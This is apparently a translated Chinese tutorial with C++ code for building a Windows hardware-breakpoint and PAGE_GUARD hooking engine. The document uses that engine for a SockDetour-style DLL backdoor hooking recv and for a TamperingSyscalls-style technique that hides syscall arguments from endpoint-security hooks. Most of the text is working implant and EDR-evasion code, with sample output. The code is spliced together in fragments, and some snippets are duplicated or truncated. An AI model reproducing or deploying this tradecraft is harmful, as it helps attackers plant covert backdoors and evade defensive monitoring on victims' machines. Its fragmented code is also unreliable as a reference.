hwbp4mw

// set our debug information in the Dr registers

SetThreadContext(thd, &context);

共有8个调试寄存器，从Dr0到Dr7。我们感兴趣的只有Dr0-3，我们用它来存储希望下断点的地址，而Dr6只是调试状态寄存器。最重要的是Dr7，它描述了处理器抛出异常所需的断点条件。使用调试寄存器时有各种限制，例如数量有限（4个）且不适用于所有线程/新生成的线程。我们将设法解决其中一些限制！

当异常被抛出时，它会查找异常处理器，我们可以在程序中定义并注册该处理器[1]。在我们定义的异常处理器中，我们希望当相应的断点被触发时，运行我们关联的代码（不同的代码流程）。```c
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
	if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
	{
		// Look for our associated code flow relative to our RIP 
		if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
			HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
			return EXCEPTION_CONTINUE_EXECUTION;
		}
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

我们必须遍历我们所有的进程线程，并对它们的上下文进行相应的调整，
这可以使用 ToolHelp32 辅助函数实现：
CreateToolhelp32Snapshot 和 Thread32Next。这并不花哨，但解决了我们
无法附加到所有线程的一个限制。```c
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
	DWORD pid{ GetCurrentProcessId() };
	HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
	if (h != INVALID_HANDLE_VALUE) {
		THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
		if (Thread32First(h, &te)) {
			do {
				if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
					sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {

					HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
					if (thd != INVALID_HANDLE_VALUE) {
						SetHWBP(thd, address, pos, init);
						CloseHandle(thd);
					}
				}
				te.dwSize = sizeof(te);
			} while (Thread32Next(h, &te));
		}
		CloseHandle(h);
	}
}

一个硬件断点的示例是 Sleep，我们只需将睡眠时长
替换为 0。```c
HWBP HWBPSleep{ (uintptr_t)&Sleep, 0,	// Set Dr 0 
	([&](PEXCEPTION_POINTERS ExceptionInfo) {
		ExceptionInfo->ContextRecord->Rcx = 0;
		ExceptionInfo->ContextRecord->EFlags |= (1 << 16);	// continue execution
}) };

// save original thread address
START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);
// set the start address to our thread address 
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;

ExceptionInfo->ContextRecord->EFlags |= (1 << 16);

// Set required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
	SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}

// restore execution to original thread
return ((typeThreadProc)START_THREAD)(lpParameter);

这种解决方案的一个局限性在于，线程的调用栈将源自我们注入的 DLL 的 HijackThread，而不是原始线程！另一种更好的解决方案是自己调用 NtCreateThreadEx，但以挂起状态启动它，然后设置所需的硬件断点。然后，通过恢复已为该新线程设置调试寄存器的挂起线程来恢复执行。这将解决使用调试寄存器的另一个局限性。

调用我们设置了断点的指令会触发无限循环；因此，我们暂时禁用负责触发我们当前 RIP 的硬件断点。一旦我们完成调用，就可以恢复它。这样我们就可以调用原始函数（类似于跳板/trampoline）。在这种情况下，我们必须将 RIP 指向一个 ret gadget，以便它能返回，并且不会再次执行 syscall 指令。

第 5 个参数及其之后的参数可以在堆栈上以 0x8 字节的间隔找到 [2]。当我们触发断点时，堆栈大致如下所示。```
                ___________________________
               |                           |
               | 0x8 + lpBytesBuffer       |
               |___________________________|
               |                           |
               | 0x8 + SizeOfStackReserve  |
               |___________________________|
               |                           |
               | 0x8 + SizeOfStackCommit   |
               |___________________________|
               |                           |
               | 0x8 + StackZeroBits       |
               |___________________________|
               |                           |
               | 0x8 + Flags               |
               |___________________________|
               |                           |
               | 0x8 + lpParameter         |
               |___________________________|
               |                           |
               | 0x8 + lpStartAddress      |
RSP + 0x28 +-> |___________________________|
               |                           |
               |                           |
               |                           |  R9  +-> (HANDLE)ProcessHandle
               | 0x20 + Shadow Store       |  R8  |-> (PVOID) ObjectAttributes
               |                           |  RDX |-> (ACCESS_MASK) DesiredAccess
               |                           |  RCX +-> (PHANDLE) hThread
               |___________________________|
               |                           |
               | 0x8 + Call Ret Addr       |  RIP +-> NtCreateThreadEx
       RSP +-> |___________________________|

// Find our ret ROP gadget 
uintptr_t FindRetAddr(const uintptr_t function)
{
	BYTE stub[]{ 0xC3 };
	for (unsigned int i = 0; i < (unsigned int)25; i++)
	{	
		// do not worry this will be optimized
		if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {
			return (function + i);
		}
	}
	return NULL;
}

typedef LONG(NTAPI* typeNtCreateThreadEx)(
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN PVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID lpStartAddress,
	IN PVOID lpParameter,
	IN ULONG Flags,
	IN SIZE_T StackZeroBits,
	IN SIZE_T SizeOfStackCommit,
	IN SIZE_T SizeOfStackReserve,
	OUT PVOID lpBytesBuffer
); 

HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"),
										  "NtCreateThreadEx"), 1,
	([&](PEXCEPTION_POINTERS ExceptionInfo) {

		// temporary disable of NtCreateThreadEx in our current thread.
		for (auto& i : HWBP_ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {	
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
			}
		}

		// create the original thread BUT suspended 
		// THREAD_CREATE_FLAGS_CREATE_SUSPENDED == 0x00000001
		// ( Flags | THREAD_CREATE_FLAGS_CREATE_SUSPENDED)
		LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
			(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
			(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
			(PVOID)ExceptionInfo->ContextRecord->R8,
			(HANDLE)ExceptionInfo->ContextRecord->R9,
			(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
			(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
			(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
			(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
			(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
			(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
			(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
		);


		CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };

		GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
			&context);
		
		// Setup required HWBP
		for (auto& i : HWBP_ADDRESS_MAP) {
			(&context.Dr0)[i.second.pos] = i.first;

			context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
			context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
			context.Dr7 |= 1ull << (2 * i.second.pos);
		}

		SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
			&context);

		ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));

		// restore our HWBP on NtCreateThreadEx
		for (auto& i : HWBP_ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {	
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
			}
		}
		
		// RAX contains the return value.
		ExceptionInfo->ContextRecord->Rax = status;

		// Set RIP to a ret gadget to avoid creating 
		// another new thread (skip syscall instruction) 
		ExceptionInfo->ContextRecord->Rip = 
			FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };

if (init) {
	(&context.Dr0)[pos] = address;

	context.Dr7 &= ~(3ull << (16 + 4 * pos));
	context.Dr7 &= ~(3ull << (18 + 4 * pos));
	context.Dr7 |= 1ull << (2 * pos);
}
else {
	if ((&context.Dr0)[pos] == address) {
		context.Dr7 &= ~(1ull << (2 * pos));
		(&context.Dr0)[pos] = NULL;
	}
}

SetThreadContext(thd, &context);

				const HANDLE thd = 
								OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
				if (thd != INVALID_HANDLE_VALUE) {
					SetHWBP(thd, address, pos, init);
					CloseHandle(thd);
				}
			}
			te.dwSize = sizeof(te);
		} while (Thread32Next(h, &te));
	}
	CloseHandle(h);
}

	HWBP_ADDRESS_MAP[address].func = function;
	HWBP_ADDRESS_MAP[address].pos = pos;
};

VOID RemoveHWBPS()
{
	SetHWBPS(address, pos, false);
	HWBP_ADDRESS_MAP.erase(address);
}

~HWBP()
{
	RemoveHWBPS();
}

}; break;
case DLL_PROCESS_DETACH: {
	if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}; break;
}
return TRUE;

正如我们之前讨论的，保留一组调试寄存器是一种不好的做法。因此，我们
将使用 PAGE_GUARD 钩子来补充我们对调试寄存器的使用，从而允许我们释放
其中一个调试寄存器：Dr1（用于 NtCreateThreadEx）。

PAGE_GUARD 本质上是一种一次性内存保护，会引发异常。它们
被应用于系统中存在的最低级别分配粒度上的页面（
这有时可能成为一个障碍）。PAGE_GUARD 挂钩并不是什么新东西，但我们
可以用它来解决我们的一些限制。我们首先将 PAGE_GUARD 应用到
该地址，然后通过抛出 PAGE_GUARD_VIOLATION 来触发 PAGE_GUARD。

VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);

我们可以应用相同的概念，将 lambda 映射到特定地址以触发。我们
将在当前页面上单步执行函数指令，同时重新应用
PAGE_GUARD。这显然相对较慢，但好处是不占用
调试寄存器。由于主要原因是慢，我们选择不主要
使用它们。```c
typedef struct {
	EXCEPTION_FUNC								func;
} PG_CALLBACK;

std::unordered_map<uintptr_t, PG_CALLBACK>	PG_ADDRESS_MAP{ 0 };

PG_ADDRESS_MAP[address].func = function;

if (init) {
    (&context.Dr0)[pos] = address;

    context.Dr7 &= ~(3ull << (16 + 4 * pos));
    context.Dr7 &= ~(3ull << (18 + 4 * pos));
    context.Dr7 |= 1ull << (2 * pos);
}
else {
    if ((&context.Dr0)[pos] == address) {
        context.Dr7 &= ~(1ull << (2 * pos));
        (&context.Dr0)[pos] = NULL;
    }
}

SetThreadContext(thd, &context);

                const HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
                if (thd != INVALID_HANDLE_VALUE) {
                    SetHWBP(thd, address, pos, init);
                    CloseHandle(thd);
                }
            }
            te.dwSize = sizeof(te);
        } while (Thread32Next(h, &te));
    }
    CloseHandle(h);
}

return 0;

    HWBP_ADDRESS_MAP[address].func = function;
    HWBP_ADDRESS_MAP[address].pos = pos;
};

VOID RemoveHWBPS()
{
    SetHWBPS(address, pos, false);
    HWBP_ADDRESS_MAP.erase(address);
}

~HWBP()
{
    RemoveHWBPS();
}

    VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);

    PG_ADDRESS_MAP[address].func = function;
}

VOID RemovePGEntry()
{
    VirtualProtect((LPVOID)address, 1, old, &old);
    PG_ADDRESS_MAP.erase(address);
}

~PGBP()
{
    RemovePGEntry();
}

HWBP HWBPSleep{
    (uintptr_t)&Sleep,
    1,
    ([&](PEXCEPTION_POINTERS ExceptionInfo) {
        printf("Sleeping %lld\n", ExceptionInfo->ContextRecord->Rcx);
        ExceptionInfo->ContextRecord->Rcx = 0;
        ExceptionInfo->ContextRecord->EFlags |= (1 << 16);    // continue execution
}) };


PGBP VEHNtCreateThreadEx{
    (uintptr_t)GetProcAddress(
        GetModuleHandle(L"NTDLL.dll"),
        "NtCreateThreadEx"
    ),
([&](PEXCEPTION_POINTERS ExceptionInfo) {

        // create a new thread suspended
        LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
            (PHANDLE)ExceptionInfo->ContextRecord->Rcx,
            (ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
            (PVOID)ExceptionInfo->ContextRecord->R8,
            (HANDLE)ExceptionInfo->ContextRecord->R9,
            (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
            (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
            (ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
            (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
            (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
            (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
            (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
        );

        CONTEXT context{ 0 };
        context.ContextFlags = CONTEXT_DEBUG_REGISTERS;

        GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
            &context);

        for (auto& i : HWBP_ADDRESS_MAP) {
            (&context.Dr0)[i.second.pos] = i.first;

            context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
            context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
            context.Dr7 |= 1ull << (2 * i.second.pos);
        }

        SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
            &context);

        ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));

        ExceptionInfo->ContextRecord->Rax = status;

        ExceptionInfo->ContextRecord->Rip =
            FindRetAddr(ExceptionInfo->ContextRecord->Rip);
    }) };


Sleep(1000000);

for (unsigned int i = 0; i < 2; ++i) {
    HANDLE t = CreateThread(NULL, 0, TestThread, NULL, 0, NULL);
    if (t) WaitForSingleObject(t, INFINITE);
}

if (handler) RemoveVectoredExceptionHandler(handler);

在应用上述理论创建了一个多用途硬件断点挂钩引擎之后，我们将继续结合使用调试寄存器与 PAGE_GUARD（如我们之前的示例所示），以 C++ DLL 的形式实现一个受 SockDetour [3] 启发的后门。为此，我们将在 recv 函数上设置一个硬件断点，并在相应的 lambda 中构建所需逻辑。我们还会对 NtCreateThreadEx 应用 PAGE_GUARD，并使用之前提到的以挂起状态创建线程的技术来设置正确的调试寄存器。

尽管 PAGE_GUARD 挂钩本质上较慢，但只要服务器模型不会为每个请求创建新线程并导致性能下降，这就不是问题。大多数网络服务器模型会维护一个在程序启动时启动并初始化的线程池。要深入了解这些服务器模型，Microsoft 在 Github [4] 上提供了多种示例；IOCP 示例就是一个具有高性能、可扩展服务器模型的绝佳参考。

你的后门开头可以写成这样：

HWBP recv_hook{ (uintptr_t)GetProcAddress((LoadLibrary(L"WS2_32.dll"),
	GetModuleHandle(L"WS2_32.dll")),"recv"), 3,
	([&](PEXCEPTION_POINTERS ExceptionInfo) {
		
		for (auto& i : ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
			}
		}

		char verbuf[9]{ 0 };
		int	verbuflen{ 9 }, recvlen{ 0 };

		recvlen = recv(ExceptionInfo->ContextRecord->Rcx, verbuf,
				   verbuflen, MSG_PEEK);

		BYTE TLS[] = { 0x17, 0x03, 0x03 };

		if (recvlen >= 3) {
			if ((memcmp(verbuf, TLS, 3) == 0))1
			{
				MSG_AUTH msg{ 0 };
				// We'll peek like SockDetour as to not eat the message
				recvlen = recv(ExceptionInfo->ContextRecord->Rcx, (char*)&msg,
					sizeof(MSG_AUTH), MSG_PEEK);
					// Authenticate and proceed

			}
		}

		// Set corresponding Dr
		for (auto& i : ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
			}
		}

		ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };

最后，我们将实现一种受 TamperingSyscalls 启发的通用 x64 用户态规避技术。该技术利用前面展示的硬件断点引擎的适当修改版本，在每个线程上同时隐藏任意 4 个 Nt 系统调用中多达 12 个参数。请注意，我选择不将调试寄存器内容传播到所有线程，因为这很可能不是期望的行为（如果需要，可以将 SetHWBP 替换为 SetHWBPS）。

我不需要解释为什么这会令人向往且超级 EPIC，也无需深入探讨用户态挂钩，因为这些都不是当前需要讨论或关注的主题，而且它们已经被多次深入介绍过 [5]。

我们使用（address | ThreadID）作为唯一键创建一个新映射，其值是一个包含函数参数的结构体。在进入系统调用时，我们会在映射中创建新条目，并清除寄存器和栈中的值。

我们使用单步执行（通过陷阱标志）来假装我们拥有比实际更多的调试寄存器。只要我们知道需要特定操作发生的时间和位置，就能做到这一点。

当我们命中所需系统调用地址时，我们会从与键关联的哈希表条目中恢复值。这会恢复栈上各寄存器中的值。然后我们继续单步执行，直到返回指令处停止单步执行并继续运行！

这最终使我们能够实现无类型挂钩。另外，我们最初指定只隐藏 12 个参数：4 个来自寄存器，8 个来自栈。这个“8”值虽然只是任意指定的，但也是推荐值；在栈上隐藏或更改更多值/参数可能会产生不良行为。

我们的调用栈应该已经源自合适的 DLL，因此你不需要调用 Native 函数；只要使用 NTDLL 中的 Native 函数地址调用构造函数，就可以从任何 DLL 调用合适的包装函数。

这很简单，可以通过修改宏来实现：
#define STK_ARGS 8		// 12 - 4 = 8 - should cover most Nt functions. 

在示例中，我们展示了它与 NtCreateThreadEx 和 NtCreateMutant 配合使用的情况！请确保每个线程只单独使用 4 个调试寄存器。完成某个特定函数后，你可以调用 RemoveHWBPS 方法释放关联的调试寄存器。

1. 如果 (addr == entry.first)，这意味着我们位于 mov r10, rcx 指令处
 - 我们使用键（TID | address）将参数存储在哈希表条目中

const auto key = (address + 0x12) | GetCurrentThreadId();

SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;

for (size_t idx = 0; idx < STK_ARGS; idx++)
{
	const size_t offset = idx * 0x8 + 0x28;
	SYSCALL_MAP[key].stk[idx] =
		*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
}
 - 然后我们将这些参数值设为 0（也可以是任意其他值）

ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->Rdx = 0;
ExceptionInfo->ContextRecord->R8 = 0;
ExceptionInfo->ContextRecord->R9 = 0;
// ...

 - 然后我们在第 16 位设置 Resume Flag，在第 8 位设置 Trap Flag
 - 这将照常继续执行，并且对性能的影响极小。

ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
ExceptionInfo->ContextRecord->EFlags |= (1 << 8);	// Trap Flag

2. 持续单步执行，直到 (addr == entry.second.sysc)
 - 我们现在位于 syscall 指令处，并且已经越过了任何用户态挂钩
 - 我们使用之前的（TID | address）查找键恢复参数。```c
auto const key = (address | GetCurrentThreadId());

// mov rcx, r10 
ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;	
ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;

for (size_t idx = 0; idx < STK_ARGS; idx++)
{
	const size_t offset = idx * 0x8 + 0x28;
	*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
		SYSCALL_MAP[key].stk[idx];
}

					// 12 - 4 = 8 - should cover most Nt functions. 

if (init) {
	(&context.Dr0)[pos] = address;

	context.Dr7 &= ~(3ull << (16 + 4 * pos));
	context.Dr7 &= ~(3ull << (18 + 4 * pos));
	context.Dr7 |= 1ull << (2 * pos);
}
else {
	if ((&context.Dr0)[pos] == address) {
		context.Dr7 &= ~(1ull << (2 * pos));
		(&context.Dr0)[pos] = NULL;
	}
}

SetThreadContext(thd, &context);

	BYTE syscop[] = { 0x0F, 0x05 };
	ADDRESS_MAP[address].syscall_addr =
		FindRopAddress(address, syscop, sizeof(syscop));
	BYTE retnop[] = { 0xC3 };
	ADDRESS_MAP[address].return_addr =
		FindRopAddress(address, retnop, sizeof(retnop));
};

VOID RemoveHWBPS()
{
	SetHWBP(GetCurrentThread(), address, pos, false);
}

~TS2_HWBP()
{
	RemoveHWBPS();
}

			if (address == syscall_instr) // mov r10, rcx
			{
				const auto key = (address + 0x12) | GetCurrentThreadId();

				SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
				SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
				SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
				SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;

				for (size_t idx = 0; idx < STK_ARGS; idx++)
				{
					const size_t offset = idx * 0x8 + 0x28;
					SYSCALL_MAP[key].stk[idx] =
						*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
				}

				PRINT_ARGS("HIDING", ExceptionInfo);

				ExceptionInfo->ContextRecord->Rcx = 0;
				ExceptionInfo->ContextRecord->Rdx = 0;
				ExceptionInfo->ContextRecord->R8 = 0;
				ExceptionInfo->ContextRecord->R9 = 0;

				for (size_t idx = 0; idx < STK_ARGS; idx++)
				{
					const size_t offset = idx * 0x8 + 0x28;
					*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = 0ull;
				}

				PRINT_ARGS("HIDDEN", ExceptionInfo);

				ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
			}
			else if (address == ai.syscall_addr)
			{
				auto const key = (address | GetCurrentThreadId());

				// SSN in ExceptionInfo->ContextRecord->Rax

				// mov rcx, r10 
				ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
				ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;
				ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
				ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
				ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;

				for (size_t idx = 0; idx < STK_ARGS; idx++)
				{
					const size_t offset = idx * 0x8 + 0x28;
					*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
						SYSCALL_MAP[key].stk[idx];
				}

				PRINT_ARGS("RESTORED", ExceptionInfo);

				SYSCALL_MAP.erase(key);
			}
			else if (address == ai.return_addr)
			{
				ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
				return EXCEPTION_CONTINUE_EXECUTION;
			}
			ExceptionInfo->ContextRecord->EFlags |= (1 << 8);	// Trap Flag
			return EXCEPTION_CONTINUE_EXECUTION;
		}
	}
}
return EXCEPTION_CONTINUE_SEARCH;

TS2_HWBP TS2NtCreateThreadEx{
	(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
	"NtCreateThreadEx")),
	0
};

for (unsigned int i = 0; i < 2; ++i) {
	HANDLE t = CreateThread(nullptr, 0, TestThread, nullptr, 0, nullptr);
	if (t) WaitForSingleObject(t, INFINITE);
}

TS2NtCreateThreadEx.RemoveHWBPS();

if (handler != nullptr) RemoveVectoredExceptionHandler(handler);

TS2_HWBP TS2NtCreateMutant{
	(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
	"NtCreateMutant")),
	0
};

HANDLE m = CreateMutexA(NULL, TRUE, "rad98");
if (m) CloseHandle(m);

return 0;

以下是一个示例输出，展示了 NtCreateThreadEx 的参数被隐藏的情况。```
0x00007FFBDF485400 >= 0x00007FFBDF485400
0x00007FFBDF485400 <= 0x00007FFBDF485414
HIDING 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc
1:      0x00000062618FF8D8
2:      0x00000000001FFFFF
3:      0x0000000000000000
4:      0xFFFFFFFFFFFFFFFF
5:      0x00007FF79FB01FA0
6:      0x0000000000000000
7:      0x0000000000000000
8:      0x0000000000000000
9:      0x0000000000000000
10:     0x0000000000000000
11:     0x00000062618FF9F0
12:     0x000001C700000000
HIDDEN 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc
1:      0x0000000000000000
2:      0x0000000000000000
3:      0x0000000000000000
4:      0x0000000000000000
5:      0x0000000000000000
6:      0x0000000000000000
7:      0x0000000000000000
8:      0x0000000000000000
9:      0x0000000000000000
10:     0x0000000000000000
11:     0x0000000000000000
12:     0x0000000000000000
0x00007FFBDF485403 >= 0x00007FFBDF485400
0x00007FFBDF485403 <= 0x00007FFBDF485414
0x00007FFBDF485408 >= 0x00007FFBDF485400
0x00007FFBDF485408 <= 0x00007FFBDF485414
0x00007FFBDF485410 >= 0x00007FFBDF485400
0x00007FFBDF485410 <= 0x00007FFBDF485414
0x00007FFBDF485412 >= 0x00007FFBDF485400
0x00007FFBDF485412 <= 0x00007FFBDF485414
RESTORED 12 arguments and stack for 0x00007FFBDF485412 || TID : 0x9ecc
1:      0x00000062618FF8D8
2:      0x00000000001FFFFF
3:      0x0000000000000000
4:      0xFFFFFFFFFFFFFFFF
5:      0x00007FF79FB01FA0
6:      0x0000000000000000
7:      0x0000000000000000
8:      0x0000000000000000
9:      0x0000000000000000
10:     0x0000000000000000
11:     0x00000062618FF9F0
12:     0x000001C700000000
0x00007FFBDF485414 >= 0x00007FFBDF485400
0x00007FFBDF485414 <= 0x00007FFBDF485414

----TestThread----
[...]